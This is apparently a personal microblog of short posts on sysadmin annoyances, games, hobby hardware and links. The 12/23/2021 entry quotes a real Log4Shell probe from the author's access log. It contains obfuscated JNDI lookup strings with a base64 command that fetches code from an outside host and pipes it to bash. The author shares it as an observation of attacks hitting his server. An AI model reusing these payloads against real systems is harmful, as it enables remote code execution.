[1] https://www.youtube.com/watch?v=g6rI5PJLtx8

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╒═════╣▒ 01/18/2022 @21:26 ▒╟──────────┘

Just spent 20 minutes fighting with exim on Debian 11. Turns out by default it will offer STARTTLS to everyone and even generate a self-signed certificate (that nothing will actually accept) *at runtime* for you. This behavior is not documented either and it caused Grafana to fail at sending any alert e-mails. Since Puppet manages this I had it drop a file in */etc/exim4/conf.d/main/* called *00_exim4-config_killtls* that contained a profanity-laden snarky comment to remind myself and the line "*tls_advertise_hosts =*". Re-running *update-exim4.conf* restores sanity.

╒═════╣▒ 01/17/2022 @13:36 ▒╟──────────┘

Played a little Elite: Dangerous over the long weekend. While I recently started building out an «Imperial Clipper»¹ and love flying it, I had need to get into a medium pad and so I took my Type-6 out for a spin. Even though it's essentially a space pickup truck it still manages to put a smile on my face as it chews the light years.

[1] https://www.youtube.com/watch?v=B4eNWtlBELQ

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╒═════╣▒ 01/12/2022 @10:21 ▒╟──────────┘

Every now and then I like to make sure my website is still usable in terminal browsers. In this case using an actual serial terminal.

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╒═════╣▒ 01/11/2022 @10:28 ▒╟──────────┘

Nothing like starting the new year with new PCBs.

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╒═════╣▒ 01/01/2022 @18:21 ▒╟──────────┘

I may have fallen into a bit of a hole over break…

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2021

December

╒═════╣▒ 12/23/2021 @16:01 ▒╟──────────┘

I'm a little shocked it took this long to notice the Log4J crap hitting my webserver. 😂

195.54.160.149 - - [23/Dec/2021:15:56:36 -0500] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC82OS41NS42NS4xODI6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzY5LjU1LjY1LjE4Mjo0NDMpfGJhc2g=} HTTP/1.1" 403 10643 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC82OS41NS42NS4xODI6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzY5LjU1LjY1LjE4Mjo0NDMpfGJhc2g=}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC82OS41NS42NS4xODI6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzY5LjU1LjY1LjE4Mjo0NDMpfGJhc2g=}"

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╒═════╣▒ 12/22/2021 @23:33 ▒╟──────────┘

From the *you'll-shoot-your-eye-out-kid* department:

«https://www.mcsweeneys.net/articles/sophocless-a-christmas-story»¹

[1] https://www.mcsweeneys.net/articles/sophocless-a-christmas-story

╒═════╣▒ 12/22/2021 @22:00 ▒╟──────────┘

From the *failing-upward* department:

«https://www.jwz.org/blog/2021/12/scoundrel-of-the-year/»¹

[1] https://www.jwz.org/blog/2021/12/scoundrel-of-the-year/

╒═════╣▒ 12/21/2021 @12:29 ▒╟──────────┘

Ages ago I messed up and set the RSTDISBL fuse on an ATtiny85. TIL my MiniPRO TL866 can program the fuses using the high voltage programming method that doesn't need the /RST line!

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╒═════╣▒ 12/17/2021 @14:28 ▒╟──────────┘

It is a special feeling the first time that prototype hardware & software works. Once I get the 74LS151s I ordered in I will be able to finish validation and order PCBs.

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╒═════╣▒ 12/10/2021 @21:57 ▒╟──────────┘

Not going to lie, this made me respect Keanu just a little bit.

Keanu Reeves' reaction to this question about NFTs is priceless.«pic.twitter.com/xlDnaZo8Og»¹— Dare Obasanjo (@Carnage4Life) «December 10, 2021»²

«via»³

[1] https://t.co/xlDnaZo8Og

[2] https://twitter.com/Carnage4Life/status/1469450312284917760?ref_src=twsrc%5Etfw

[3] https://twitter.com/violetblue/status/1469475019927347207

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╒═════╣▒ 12/08/2021 @15:18 ▒╟──────────┘

Happy Wednesday here’s your new PA! «https://t.co/c7wEaMgKMX»¹«#pennyarcade»² «pic.twitter.com/nhfLpo7Ynt»³— Gabe (@cwgabriel) «December 8, 2021»⁴

Ownership? Of things? In this day and age? Surely you jest! Think of the corporations!

[1] https://t.co/c7wEaMgKMX

[2] https://twitter.com/hashtag/pennyarcade?src=hash&ref_src=twsrc%5Etfw

[3] https://t.co/nhfLpo7Ynt

[4] https://twitter.com/cwgabriel/status/1468611541142421504?ref_src=twsrc%5Etfw

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╒═════╣▒ 12/08/2021 @15:00 ▒╟──────────┘

«This»¹ is well worth an hour of you time and incidentally if you ever come across a copy of Sled Driver, I'm *interested*.

[1] https://www.youtube.com/watch?v=hFJMs15sVSY

╒═════╣▒ 12/06/2021 @15:56 ▒╟──────────┘

Round three. Fight!

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November

╒═════╣▒ 11/29/2021 @13:59 ▒╟──────────┘

After over 100 hours and completing all the side-quests I finally took the plunge and finished the «Cyberpunk 2077»¹ main campaign. There are moments of brilliance in this game. Night City feels miles wide and inches deep most of the time but there are gems and characters that make you forget that from time to time. Would like to visit V in a new game plus... someday.

[1] https://www.cyberpunk.net/us/en/

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╒═════╣▒ 11/23/2021 @22:03 ▒╟──────────┘

Oh hey! My plan payment went through ok. Sweet! 🎉 👍

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╒═════╣▒ 11/18/2021 @18:24 ▒╟──────────┘

💀OMG WHO RIGHT CLICKED ALL OF THE «#NFTs»¹?☠️🛳🏴‍☠️ «https://t.co/o0YRK78AkL»² 🏴‍☠️🛳👀 «pic.twitter.com/g74TFqzX0n»³— geoff 👋 🇵🇹 (@GeoffreyHuntley) «November 18, 2021»⁴

BWAHAHAHAHAHAHAHAHAHAHAHA

[1] https://twitter.com/hashtag/NFTs?src=hash&ref_src=twsrc%5Etfw

[2] https://t.co/o0YRK78AkL

[3] https://t.co/g74TFqzX0n

[4] https://twitter.com/GeoffreyHuntley/status/1461322836165885954?ref_src=twsrc%5Etfw

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╒═════╣▒ 11/17/2021 @16:09 ▒╟──────────┘

Moved a bunch of my TOTP tokens into «pass-otp»¹ and so far I really like it. I may have to move my Windows PC back to «passff»² to get integration.

[1] https://github.com/tadfisher/pass-otp#readme

[2] https://github.com/passff/passff

╒═════╣▒ 11/11/2021 @00:34 ▒╟──────────┘

«Restricting the ability to view a page's source»¹ tramples on the very openness that allowed the web to flourish. You all bring shame upon your houses.

[1] https://www.jwz.org/blog/2021/11/putting-on-my-hacker-hoodie-to-view-source/

╒═════╣▒ 11/09/2021 @17:38 ▒╟──────────┘

I don't get how people think that proving that they lit money and a chunk of the rainforest on fire makes them special. You don't *own* anything.

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╒═════╣▒ 11/08/2021 @18:19 ▒╟──────────┘

Oh No «pic.twitter.com/YEfVt8Xrwe»¹— Jason Scott (@textfiles) «November 8, 2021»²

Look, when Tim O'Reilly first coined "Web 2.0", it was a way of saying, roughly, that static HTML files on sites were going to be augmented, maybe replaced, by dynamic HTML that would update frequently. By this approach, "Web 3.0" or "WEB3" would be the (already here) Web Apps.— Jason Scott (@textfiles) «November 8, 2021»³

But it's quite clear that this new thing with all these opportunistic scammers is something elseSo, I know it won't catch on, but maybe instead when we see them go "WEB3", we go "Oh, the Scumbag Web"— Jason Scott (@textfiles) «November 8, 2021»⁴

Wow, who would have thought Discord would get caught up in the sleezy techbro snakeoil cult of NFTs.

«via»⁵

[1] https://t.co/YEfVt8Xrwe

[2] https://twitter.com/textfiles/status/1457751651465449475?ref_src=twsrc%5Etfw

[3] https://twitter.com/textfiles/status/1457752225439264774?ref_src=twsrc%5Etfw

[4] https://twitter.com/textfiles/status/1457752409036533769?ref_src=twsrc%5Etfw

[5] https://twitter.com/textfiles/status/1457751651465449475

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╒═════╣▒ 11/06/2021 @08:05 ▒╟──────────┘

Notes for UI designers who have lost their way. «pic.twitter.com/gjgkAUrnmz»¹— CM Scarrington (@octothorpe) «November 6, 2021»²

Lets make contrast sexy again!

[1] https://t.co/gjgkAUrnmz

[2] https://twitter.com/octothorpe/status/1456805254436204549?ref_src=twsrc%5Etfw

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October

╒═════╣▒ 10/23/2021 @09:42 ▒╟──────────┘

It's a shame that the «mailman»¹ team decided that the 3.0 rewrite was needed. I've been trying to migrate (because Debian 11 dropped the 2.1 version) but it's pretty terrible. The new list archive interface (named Hyperkitty of all things) is a mess, the index process consumes all 4GB of RAM and 4GB of swap on my mail server and then gets killed by the Linux OOM killer. I'd really have rather kept «pipermail»².

[1] http://www.list.org

[2] https://www.gnu.org/software/mailman/mailman-admin/node26.html

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╒═════╣▒ 10/18/2021 @17:02 ▒╟──────────┘

Not sure why Apple felt the need to bury the lede, but the Touch Bar is gone! I'll probably wait a few years and get one on the second hand market because let's face it, I'm not paying $2,499 for a laptop. I'd also like to save my eyes from the contrast-hostile macOS zone for as long as possible (one can hope that contrast comes back in vogue as the designers at Apple reach biological maturity...).

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╒═════╣▒ 10/14/2021 @11:05 ▒╟──────────┘

From the found-somewhere-on-tumblr department:«https://sahelsoundscompilations.bandcamp.com/album/music-from-saharan-cellphones»¹

This is pretty awesome, en elegant technology for a more civilized age.

[1] https://sahelsoundscompilations.bandcamp.com/album/music-from-saharan-cellphones

╒═════╣▒ 10/12/2021 @23:58 ▒╟──────────┘

From the *go-pledge-to-her-patreon-right-now* department:

«The BEST Cybersecurity newsletter out there »¹... now with peanut butter...

[1] https://www.patreon.com/posts/cybersecurity-12-57299460

╒═════╣▒ 10/12/2021 @15:25 ▒╟──────────┘

From the *obnoxious-security-theater* department:

«https://www.schneier.com/blog/archives/2021/10/airline-passenger-mistakes-vintage-camera-for-a-bomb.html»¹

[1] https://www.schneier.com/blog/archives/2021/10/airline-passenger-mistakes-vintage-camera-for-a-bomb.html

╒═════╣▒ 10/12/2021 @12:32 ▒╟──────────┘

From the *still-rocking-an-iphone-7* department:«https://brokeassstuart.com/2021/10/11/why-you-should-not-buy-the-iphone-13/»¹

I would really like Touch ID to come back please.

[1] https://brokeassstuart.com/2021/10/11/why-you-should-not-buy-the-iphone-13/

╒═════╣▒ 10/12/2021 @09:39 ▒╟──────────┘

Apple's continued war on contrast (as better illustrated by «jwz»¹) is a big part of why only my work laptop is running Big Sur. The other part is that I would like my computer to behave like it is *my computer* and not like it has aspirations of being a *rented phone*.

[1] https://www.jwz.org/blog/2021/10/can-light-gray-text-on-light-gray-backgrounds-please-stop-being-a-thing/

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╒═════╣▒ 10/11/2021 @10:31 ▒╟──────────┘

«https://www.schneier.com/blog/archives/2021/10/the-european-parliament-voted-to-ban-remote-biometric-surveillance.html»¹

Somedays I think the EU is a good thing.

[1] https://www.schneier.com/blog/archives/2021/10/the-european-parliament-voted-to-ban-remote-biometric-surveillance.html

╒═════╣▒ 10/09/2021 @19:12 ▒╟──────────┘

Mosaic, A Legitimate Salvage. Someone found «https://t.co/WGvyfC7plt»¹, our 1995 NNTP server, at an electronics scrapper. As you would expect for a machine generally occupied as a news spool, various copies at various stages of the newsgroup active file... «https://t.co/GF9NlasvOe»²— j͕̠̦̪͕̓͛̊̾̄ͅw̧̧̳̪̘͊̋͗̾͢͠z̢̘̞͈̺̞̩̓̽̐̋͗̆̋̚͟͜ (@jwz) «October 9, 2021»³

[1] https://t.co/WGvyfC7plt

[2] https://t.co/GF9NlasvOe

[3] https://twitter.com/jwz/status/1446941960963596290?ref_src=twsrc%5Etfw

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╒═════╣▒ 10/09/2021 @12:50 ▒╟──────────┘

I'm pretty happy with Windows 10 on my gaming machine so I don't really see a need to upgrade to 11 yet but for future me and anyone else who wants to bypass the Microsoft account bullshit «this post»¹ on alt.comp.os.windows-11 seems to have the goods. «Mirrored here (with the body decoded)»² because it was posted to USENET in base64.

[1] http://www.al.howardknight.net/?ID=163379758700

[2] https://www.going-flying.com/~mernisse/163379758700.txt

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╒═════╣▒ 10/07/2021 @10:42 ▒╟──────────┘

Starting burn-in test on my new OpenBSD router. My poor AMD Athlon II X3 died after 12 years in production. Wanted to stay AMD but the Epyc boards are way too expensive.

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╒═════╣▒ 09/30/2021 @23:48 ▒╟──────────┘

I can't think of a better way to illustrate the absolute state of uselessness and banality of the Apple App Store than this. The featured item in your fancy new section is... a $2.99 dark mode extension...

😂 😂 😂

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╒═════╣▒ 09/30/2021 @20:50 ▒╟──────────┘

I straight up love everything Anthony Bourdain ever did and the world was made honestly poorer by his loss. It's a treasure that «his first TV series»¹ is now online to watch, for free.

[1] https://kottke.org/21/09/watch-a-cooks-tour-bourdains-first-travelfood-tv-show-for-free-online

September

╒═════╣▒ 09/28/2021 @10:36 ▒╟──────────┘

To answer all the questions, yes, it’s true, Babylon 5 is in active development as a series for the CW. We have some serious fans over at the network, and they’re eager to see this show happen. I’m hip deep into writing the pilot now, and will be running the series upon pickup.— J. Michael Straczynski (@straczynski) «September 27, 2021»¹

I am unbelievably excited by this Twitter thread.

[1] https://twitter.com/straczynski/status/1442621159221043202?ref_src=twsrc%5Etfw

╒═════╣▒ 09/25/2021 @21:09 ▒╟──────────┘

«This»¹ is a good reminder why we should stop burning the planet to please techbros. In fact we need to be doing a lot more to make computing more energy efficient. Much of the Internet is just robots shouting at each other.

[1] https://www.wired.com/story/theres-no-good-reason-to-trust-blockchain-technology/

╒═════╣▒ 09/24/2021 @22:07 ▒╟──────────┘

I was *delighted* to discover that «rot8000»¹ is not only a thing... «籲籽 籪籬籽籾籪籵籵粂 粀籸类籴籼»²!

[1] http://rot8000.com/info

[2] http://rot8000.com/index?籲籽%20籪籬籽籾籪籵籵粂%20粀籸类籴籼

╒═════╣▒ 09/21/2021 @13:28 ▒╟──────────┘

I am officially in the database as an amateur radio license holder. KD2WZR!

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╒═════╣▒ 09/16/2021 @21:44 ▒╟──────────┘

Further proof that «self driving cars will not happen during my life time»¹. Also, they're a tremendous waste of resources.

[1] https://www.jwz.org/blog/2021/09/murderbots/

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╒═════╣▒ 09/15/2021 @23:44 ▒╟──────────┘

I swear, «the return of Touch ID»¹ and the inevitable disappointment of reality is becoming annual phenomenon. It has saved me a lot of money though. #iphone7

[1] https://www.macrumors.com/2021/06/23/kuo-2022-iphones-under-screen-touch-id/

╒═════╣▒ 09/15/2021 @09:25 ▒╟──────────┘

«Peter Hansteen»¹ has a great article on why «OpenBSD»² makes his life better. Like many others, I started my OpenBSD journey because of the sanity in the firewall («PF»³ is still worlds better than any other firewall I've worked with) and haven't regretted any of it because frankly *correctness* is something so few software projects strive for with as much earnestness or zeal and is something so sorely needed. It stands at the border of everything I have that's connected to the Internet and has done for nearly 2 decades.

[1] https://bsdly.blogspot.com/2021/08/recent-and-not-so-recent-changes-in.html

[2] https://www.openbsd.org

[3] http://www.openbsd.org/faq/pf/

╒═════╣▒ 09/14/2021 @10:57 ▒╟──────────┘

I have this disk (in the logical sense, of course) filled with a little over 3.7TB of... well for the lack of a better word nostalgia. Copies of the original «…she’s a flight risk »¹ weblog, an «article»² from Wired by Neal Stephenson from when Wired was worth reading, some deeply «nostalgic»³ relics from when the Internet was young and free, personal archives of Twitch channels, YouTube channels, things... ephemeral. Halcyon On and On just came on Flight Risk Radio as I write this and well it's pretty apt. I wonder what I should do with all of this. I bet «@textfiles»⁴ would have an opinion...

[1] https://shes.aflightrisk.org/memory/

[2] https://www.wired.com/1996/12/ffglass/

[3] https://www.salon.com/2002/05/31/back_in_the_day/

[4] https://twitter.com/textfiles

╒═════╣▒ 09/06/2021 @12:33 ▒╟──────────┘

I have to write a thing about how I no longer think Ubiquiti products are good (in some cases I'd say they are no longer fit for purpose) but I'm having trouble doing it without sounding like an old man yelling at a cloud.

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╒═════╣▒ 09/03/2021 @19:27 ▒╟──────────┘

Ran across «this»¹, saying that Electron apps are good enough. Maybe they are for other people and for quick and dirty use cases. Personally, I refuse to use them unless there is no other alternative. For me, the user experience is always hot garbage. Just because no one has bothered to complain doesn't mean it's *good*. I don't complain to application makers, I just uninstall their apps and move on with my life.

[1] https://nielsleenheer.com/articles/2021/why-electron-apps-are-fine/

╒═════╣▒ 09/01/2021 @16:39 ▒╟──────────┘

I'd like to know if «the latest zero-click iMessage exploit»¹ is targeting the app on your device or the service. I don't use iMessage (the service) but obviously there is no way to remove/bypass iMessage the app.

[1] https://www.wired.com/story/apple-imessage-zero-click-hacks/

╒═════╣▒ 09/01/2021 @11:02 ▒╟──────────┘

It is a shame Ookla (speedtest.net) seems to have a monopoly with speedtest services. Their CLI seems to be a second thought and started silently failing recently. Turns out if you specify a server ID and their API doesn't return it (instead of returning all available servers, they try to be clever and only show you 'local' ones...), then it will simply fail. So now I have to run against whatever server it feels like meaning the data («that I collect automatically»¹) is completely useless.

[1] https://www.going-flying.com/blog/keeping-an-eye-on-my-isps-performance.html

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╒═════╣▒ 08/24/2021 @12:07 ▒╟──────────┘

Every now and then I think about getting my amateur radio ticket but I'm not sure what I'd do with it. That being said if I end up pulling the trigger, «DX Commander»¹'s YouTube channel is to blame...

[1] https://www.youtube.com/watch?v=5-JyK1WvRX8

╒═════╣▒ 08/23/2021 @22:44 ▒╟──────────┘

So TIL that Python got «Assignment Expressions»¹ (NAME := expr) in 3.8 and I couldn't be more pleased. I have missed being able to write while loops based on the results of an expression that used the results in the body of the loop.

[1] https://www.python.org/dev/peps/pep-0572/

╒═════╣▒ 08/19/2021 @09:12 ▒╟──────────┘

So it looks like not only has Apple's new super fancy NeuralHash algorithm been proven completely laughable, it's been discovered to already be on your device.

via «schneier.com»¹

[1] https://www.schneier.com/blog/archives/2021/08/apples-neuralhash-algorithm-has-been-reverse-engineered.html

╒═════╣▒ 08/18/2021 @17:46 ▒╟──────────┘

Well, «patch 1.3»¹ went live for Cyberpunk 2077 and I finally got bit by a bug. I had just finished the boxing quest line and it's now showing up as unfinished. I even have the text messages you get after completing it still...

[1] https://www.cyberpunk.net/en/news/39092/patch-1-3-list-of-changes

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╒═════╣▒ 08/16/2021 @10:22 ▒╟──────────┘

«This review»¹ pretty closely mirrors my own impression of the AirPods Pro. I'll add that if you are trying to switch between an Apple device and a non-Apple device (my work phone runs Android) they frequently refuse to re-connect to anything. They feel alarmingly cheaply built, they won't stop triggering Apple Music (which is useless on my work MacBook Pro, and likely a macOS issue not an AirPod issue) and as noted, the battery life is next to useless.

[1] https://take.surf/2021/08/15/review-airpods-pro-2019

╒═════╣▒ 08/14/2021 @17:57 ▒╟──────────┘

Debian 11 released! Let the ypgrade dance begin!

Via: «https://www.debian.org/News/2021/20210814»¹

[1] https://www.debian.org/News/2021/20210814

╒═════╣▒ 08/12/2021 @10:40 ▒╟──────────┘

An oldie but a goodie! Learn about one of those infamous pieces of code in graphics programming history with our friend over at «Dave's Garage»¹.

[1] https://www.youtube.com/watch?v=uCv5VRf8op0

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╒═════╣▒ 08/11/2021 @21:19 ▒╟──────────┘

I pre-ordered my copy of «Mike Duncan's latest book»¹ at least 300 years ago... If for some reason you have not yet, perhaps this will encourage you.> We've got a trailer! Watch the trailer! Share the trailer! «https://t.co/f668LUv86T»²— Mike Duncan (@mikeduncan) «August 10, 2021»³

[1] https://www.publicaffairsbooks.com/titles/mike-duncan/hero-of-two-worlds/9781541730328/

[2] https://t.co/f668LUv86T

[3] https://twitter.com/mikeduncan/status/1425202205687156739?ref_src=twsrc%5Etfw

╒═════╣▒ 08/08/2021 @21:32 ▒╟──────────┘

I found «this»¹ article and the proposed Python interface rather novel.via: «<eli$2107121640@qaz.wtf>»²

[1] https://vorpus.org/blog/notes-on-structured-concurrency-or-go-statement-considered-harmful/

[2] http://www.al.howardknight.net/?ID=162748722400

July

╒═════╣▒ 07/31/2021 @00:00 ▒╟──────────┘

Why on Earth would you listen to a podcast backwards? iOS Podcasts is a trash fire but every other podcast app is worse in some pretty glaring way.

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╒═════╣▒ 07/28/2021 @11:43 ▒╟──────────┘

I have told Docker Desktop at least 3 times to day to update and restart and it clearly hasn't. I'm not putting up with this children's software anymore. Through the “magic” of ssh port forwarding I'll do any future work on containers on a Linux server like an adult.

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╒═════╣▒ 07/24/2021 @16:46 ▒╟──────────┘

People who «exploit their children»¹ like this really do disgust me.

[1] https://www.youtube.com/watch?v=wjbTohI9Xg4

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╒═════╣▒ 07/23/2021 @18:36 ▒╟──────────┘

And so «the water wars»¹ of the 21st century begin...

[1] https://www.jwz.org/blog/2021/07/water-pirates/

╒═════╣▒ 07/23/2021 @08:45 ▒╟──────────┘

Wait... a free copy of The Sandman? Yeah, I'll click on that link.

Use «https://t.co/EjYoJldSQn»¹. It should be very free in the US, which is less than $34.95 «https://t.co/DSyYnmzlwb»² «pic.twitter.com/nkLOF21hms»³— Neil Gaiman (@neilhimself) «July 23, 2021»⁴

[1] https://t.co/EjYoJldSQn

[2] https://t.co/DSyYnmzlwb

[3] https://t.co/nkLOF21hms

[4] https://twitter.com/neilhimself/status/1418430245678424070?ref_src=twsrc%5Etfw

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╒═════╣▒ 07/22/2021 @23:16 ▒╟──────────┘

Doing some test fitting...

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╒═════╣▒ 07/22/2021 @17:18 ▒╟──────────┘

Holy shit this is cool.

People have looked inside Mars! An engineering and scientific feat documenting the layers of a red planet! Read the perspective by «@seismo_koel»¹ and myself about the results here : «https://t.co/Ul9zrYOzk9»² «@NASAInSight»³ «pic.twitter.com/QsKzbVV1c1»⁴— Sanne Cottaar (@DeepEarthExplor) «July 22, 2021»⁵

[1] https://twitter.com/seismo_koel

[2] https://t.co/Ul9zrYOzk9

[3] https://twitter.com/NASAInSight

[4] https://t.co/QsKzbVV1c1

[5] https://twitter.com/DeepEarthExplor/status/1418270996252012544?ref_src=twsrc%5Etfw

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╒═════╣▒ 07/21/2021 @20:38 ▒╟──────────┘

I feel like this might be a sideways «Acquisitions Incorporated»¹ reference by CDPR... but probably not.

[1] http://www.acq-inc.com

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╒═════╣▒ 07/20/2021 @12:24 ▒╟──────────┘

I don't know exactly how much CAT-6 I have run in this house but it is well over 1500' at this point.

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╒═════╣▒ 07/13/2021 @20:45 ▒╟──────────┘

«Guy who kills bertha guy»¹ is the hero we all deserve. 😂

[1] https://youtu.be/v0awKOIJxiQ?t=776

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╒═════╣▒ 07/13/2021 @18:53 ▒╟──────────┘

Boss makes a dollar, you make a dime, «check your PPE»¹ on the company time....

[1] https://www.youtube.com/watch?v=MlXOYan3jmM

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╒═════╣▒ 07/12/2021 @13:00 ▒╟──────────┘

Have we reached peak tech bubble bullshit with this? Pay us to shut up about an update!

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╒═════╣▒ 07/07/2021 @21:43 ▒╟──────────┘

Someday I might get me some «ducks to water»¹ like our fair Canaderpian friend...

[1] https://www.youtube.com/watch?v=Kx76F4yR134

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╒═════╣▒ 07/03/2021 @19:21 ▒╟──────────┘

I am sure Hackernews is busy n-way dutch ruddering eachother over «this»¹. I too look forward to the massive copyright infringement cases.

[1] https://www.jwz.org/blog/2021/07/micros1-launches-automated-license-laundering-system/

╒═════╣▒ 07/01/2021 @21:35 ▒╟──────────┘

Wait until they realize the non-zero number of problems we *cause*.

«via»¹

[1] https://twitter.com/violetblue/status/1410670849158352904

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╒═════╣▒ 06/30/2021 @18:36 ▒╟──────────┘

So uh, the Night City franchise of the «Acquisitions Incorporated»¹ doesn't seem to be doing so well... which is pretty on-brand for them.

[1] https://www.acq-inc.com

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╒═════╣▒ 06/26/2021 @09:51 ▒╟──────────┘

I don't think this will get any traction here in the US any time soon but a boy can hope.

«https://www.schneier.com/blog/archives/2021/06/banning-surveillance-based-advertising.html»¹

[1] https://www.schneier.com/blog/archives/2021/06/banning-surveillance-based-advertising.html

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╒═════╣▒ 06/25/2021 @13:07 ▒╟──────────┘

Oh, hello! I just got a new pin from a «podcast»¹ that I have been listening to since «2018»². Turns out it is a «Patreon»³ reward. How delightful. Go listen to The Pirate History Podcast!

[1] https://piratehistorypodcast.com

[2] https://www.going-flying.com/blog/my-favorite-podcasts-2018-edition.html

[3] https://www.patreon.com/piratehistorypodcast

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╒═════╣▒ 06/24/2021 @23:49 ▒╟──────────┘

I get that this is a bit like being a crazy old man shouting at no one in particular, but I can't help but think that it beats being on Twitter by a hemisphere or so.

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╒═════╣▒ 06/22/2021 @23:11 ▒╟──────────┘

Let us remember that the filibuster wasn't even a thing in the US until ~20 years after the formation of the republic and was barely used in the first 180+ years it was in force.

«https://brokeassstuart.com/2021/06/22/killing-the-filibuster-is-democrats-one-and-only-play/»¹

[1] https://brokeassstuart.com/2021/06/22/killing-the-filibuster-is-democrats-one-and-only-play/

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╒═════╣▒ 06/15/2021 @20:39 ▒╟──────────┘

Say what you may about Cyberpunk 2077, but CDPR nailed the mood most of the time.

«"If you can't find a clocktower, the roof of your stolen SUV will do."»¹

[1] https://www.going-flying.com/~mernisse/screenshots/Games/Cyberpunk%202077/html/photomode_15062021_165445.html

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╒═════╣▒ 06/10/2021 @10:36 ▒╟──────────┘

Now I need to build something for this guy to lurk in. Good thing I don't have 200 projects in some form of 'in progress' or anything... Oh wait.

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╒═════╣▒ 06/08/2021 @10:02 ▒╟──────────┘

«https://brokeassstuart.com/2021/06/07/apple-just-banned-hookup-apps-from-the-app-store/»¹

But remember kids, the App Store isn't unfairly abusing Apple's market position, you can always buy a Google phone.

[1] https://brokeassstuart.com/2021/06/07/apple-just-banned-hookup-apps-from-the-app-store/

╒═════╣▒ 06/06/2021 @23:59 ▒╟──────────┘

Wondering why all your podcast episodes are out of order now? Don't worry, Apple has created a new fresh default you didn't know you needed and applied it to all your podcasts for you! Enjoy unchecking it for each. I sure did. As an aside, dear lazyweb, can someone make a better podcast app that isn't also trying to be an app store and a social network with a podcast app hung on the side? Thanks.

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╒═════╣▒ 06/04/2021 @09:45 ▒╟──────────┘

Two batteries - $181.75, Top clamshell with keyboard - $87.47, not having to upgrade to Big Sur - Priceless. As an aside, we'll see how the iFixit battery does. I only got a year and about 100 cycles off the last (albeit slightly sketchy eBay) replacement.

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╒═════╣▒ 06/03/2021 @22:18 ▒╟──────────┘

I should actually *finish* a project before I start like 4 more, right?

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May

╒═════╣▒ 05/26/2021 @15:43 ▒╟──────────┘

«Same»¹ fam. Hard same.

[1] https://www.dieselsweeties.com/ics/1180/

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╒═════╣▒ 05/13/2021 @10:24 ▒╟──────────┘

People can be amazingly stupid. «https://www.nytimes.com/2021/05/12/us/california-tesla-backseat-driver.html»¹

I am pretty certain that as someone in their 30s I can assert that we will not have driverless vehicles for the general public in my life time. People way overestimate the current technology and the problem space.

[1] https://www.nytimes.com/2021/05/12/us/california-tesla-backseat-driver.html

╒═════╣▒ 05/07/2021 @20:42 ▒╟──────────┘

Maybe the fact that I remember buying a lot of software like «this»¹ that makes me dislike App Stores and rental software so much.

[1] https://inessential.com/2021/05/07/what_it_was_like_to_sell_apps_online_in_2003

╒═════╣▒ 05/07/2021 @12:40 ▒╟──────────┘

In case you find yourself in need of the last version of UniFi Video... it looks like it is still on their server even if it isn't linked anywhere.

«https://dl.ubnt.com/firmwares/ufv/v3.10.13/unifi-video.Debian9_amd64.v3.10.13.deb»¹

[1] https://dl.ubnt.com/firmwares/ufv/v3.10.13/unifi-video.Debian9_amd64.v3.10.13.deb

╒═════╣▒ 05/04/2021 @12:48 ▒╟──────────┘

Second dose was even easier than the first!

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April

╒═════╣▒ 04/29/2021 @14:28 ▒╟──────────┘

I've been a tmux (previously screen) + stuff kind of person for a long time, mostly because of my rampant use of remote systems for everything. As a result I'm a heavy vi user. I fear I may be in trouble...

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╒═════╣▒ 04/28/2021 @23:35 ▒╟──────────┘

Oh nice, iOS 14.5 just completely destroyed the Podcasts app. Shows that I have listened to, several times over, on this phone, showing up with hundreds of unplayed episodes and lost my place. In case you were under the impression that the engineers even use their software, I think the reality is that they do not. Oh and as usual it is uglier and harder to navigate to the one thing it exists to do, you know, play podcasts...

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╒═════╣▒ 04/17/2021 @10:17 ▒╟──────────┘

I have discovered the best way to browse YouTube, a custom curses app with a «killfile»¹.

[1] https://en.wikipedia.org/wiki/Kill_file

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╒═════╣▒ 04/16/2021 @19:31 ▒╟──────────┘

This «Federated Learning of Cohorts»¹ thing is such garbage for so many reasons but the short list is a) it is impossible to avoid because of a browser monopoly, b) it is impossible to avoid because of an analytics monopoly, c) it is impossible to avoid because of the advertising duopoly, and d) it not only invades the privacy of the user by default, but also of the website owner by default.

Burn it all down.

I already added interest-cohort=() to my Permissions-Policy header but I assume it won't matter because Google's gonna Google.

[1] https://www.eff.org/deeplinks/2021/04/am-i-floced-launch

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╒═════╣▒ 04/13/2021 @19:30 ▒╟──────────┘

COVID-19 vaccine dose #1! Super easy process, friendly and professional people. No excuses.

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╒═════╣▒ 04/08/2021 @23:04 ▒╟──────────┘

Dear Apple, please let me disable this "feature" you amateurs put in this app.

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╒═════╣▒ 04/07/2021 @17:17 ▒╟──────────┘

Remember kids, if you aren't directly paying for something, it's almost certain that YOU are the product.

Not only is Signal a sketchy-as-fuck privacy-violating social network wearing "security" cosplay, now it also has a climate-incinerating Ponzi scheme bundled in.

...

Signal is no less a vertically-integrated, untrustworthy data silo than any product from Facebook or Google.

«via»¹

[1] https://www.jwz.org/blog/2021/04/signal-hops-on-the-dunning-krugerrand-bandwagon/

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╒═════╣▒ 04/01/2021 @21:42 ▒╟──────────┘

You can «hear»¹ the joy in Jamie's voice...

[1] https://www.thebritishhistorypodcast.com/370-the-norman-conquest-of-1066/

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╒═════╣▒ 04/01/2021 @15:42 ▒╟──────────┘

And once again my policy of not trusting «clown computing»¹ with the keys to anything I can't afford to lose has been vindicated: «Whistleblower: Ubiquiti Breach “Catastrophic”»²

[1] https://www.jwz.org/blog/2021/03/clown-computing/

[2] https://krebsonsecurity.com/2021/03/whistleblower-ubiquiti-breach-catastrophic/

╒═════╣▒ 04/01/2021 @10:07 ▒╟──────────┘

Of course Feature-Policy is now «renamed»¹ and good lord the list of things I need to turn off is «long»². I love that this is *all* on by default, really drives home that the feature of the web is actually hoovering user data and not actually delivering anything useful, or being secure.

[1] https://www.w3.org/TR/permissions-policy-1/#policy-controlled-feature

